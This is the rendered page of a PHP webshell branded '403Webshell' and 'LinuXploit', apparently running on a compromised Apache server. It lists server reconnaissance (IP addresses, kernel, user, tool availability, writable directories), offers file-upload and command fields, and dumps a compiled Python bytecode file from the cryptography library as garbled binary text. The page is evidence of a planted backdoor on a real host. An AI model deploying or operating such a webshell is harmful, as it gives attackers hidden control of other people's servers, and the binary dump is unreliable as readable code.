403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/cmac.cpython-312.pyc
�

�3Tf����ddlmZddlZddlmZmZmZddlmZddl	m
Z
ejrddlm
Z
ddlmZGd�d	�Zy)
�)�annotationsN)�InvalidSignature�UnsupportedAlgorithm�_Reasons)�
constant_time)�CBC)�Backend)�ciphersc�B�eZdZ	d					dd�Zd	d�Zd
d�Zdd�Zdd�Zy)
�_CMACContextNc���|j|�stdtj��||_|j
|_||_|jdz|_	|���|jj}|t|�tf}||j|t�}|jjj�}|jj||jj j"k7�|jj j%||jjj&�}|jj j)|j�}|jjj+||t-|j�||jj j"�}|jj|dk(�||_y)Nz#This backend does not support CMAC.��)�cmac_algorithm_supportedrr�UNSUPPORTED_CIPHER�_backend�key�_key�
_algorithm�
block_size�_output_length�_cipher_registry�typer�_lib�CMAC_CTX_new�openssl_assert�_ffi�NULL�gc�
CMAC_CTX_free�from_buffer�	CMAC_Init�len�_ctx)	�self�backend�	algorithm�ctx�registry�adapter�
evp_cipher�key_ptr�ress	         �K/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/cmac.py�__init__z_CMACContext.__init__s{���/�/�	�:�&�5��+�+��
�
 ��
��M�M��	�#���'�2�2�a�7����;��}�}�5�5�H��t�I���3�4�G� ����	�3�?�J��-�-�$�$�1�1�3�C��M�M�(�(���
�
�0B�0B�0G�0G�)G�H��-�-�$�$�'�'��T�]�]�-?�-?�-M�-M�N�C��m�m�(�(�4�4�T�Y�Y�?�G��-�-�$�$�.�.����D�I�I����
�
�"�"�'�'��C�
�M�M�(�(����2���	�c��|jjj|j|t	|��}|jj|dk(�y)Nr)rr�CMAC_Updater$r#r)r%�datar-s   r.�updatez_CMACContext.update?s>���m�m� � �,�,�T�Y�Y��c�$�i�H���
�
�$�$�S�A�X�.r0c��|jjjd|j�}|jjjd|j�}|jjj|j||�}|jj|dk(�d|_|jjj|�ddS)Nzunsigned char[]zsize_t *r)	rr�newrr�
CMAC_Finalr$r�buffer)r%�buf�lengthr-s    r.�finalizez_CMACContext.finalizeCs����m�m� � �$�$�%6��8K�8K�L�����#�#�'�'�
�D�4G�4G�H���m�m� � �+�+�D�I�I�s�F�C���
�
�$�$�S�A�X�.���	��}�}�!�!�(�(��-�a�0�0r0c��|jjj�}|jjj	||jjj
�}|jjj
||j�}|jj|dk(�t|j|j|��S)Nr)r()rrrrrr �
CMAC_CTX_copyr$rrr)r%�
copied_ctxr-s   r.�copyz_CMACContext.copyMs����]�]�'�'�4�4�6�
��]�]�'�'�*�*���
�
�*�*�8�8�
�
��m�m� � �.�.�z�4�9�9�E���
�
�$�$�S�A�X�.��D�M�M�4�?�?�
�K�Kr0c�f�|j�}tj||�std��y)NzSignature did not match digest.)r;r�bytes_eqr)r%�	signature�digests   r.�verifyz_CMACContext.verifyVs.��������%�%�f�i�8�"�#D�E�E�9r0)N)r&r	r'zciphers.BlockCipherAlgorithm�return�None)r3�bytesrErF)rErG)rEr)rBrGrErF)�__name__�
__module__�__qualname__r/r4r;r?rD�r0r.rrs?��

�	&��&�0�&�

�&�P/�1�L�Fr0r)�
__future__r�typing�cryptography.exceptionsrrr�cryptography.hazmat.primitivesr�,cryptography.hazmat.primitives.ciphers.modesr�
TYPE_CHECKING�,cryptography.hazmat.backends.openssl.backendr	r
rrKr0r.�<module>rSs<��
#�
���
9�<�	���D�6�CF�CFr0

Youez - 2016 - github.com/yon3zu
LinuXploit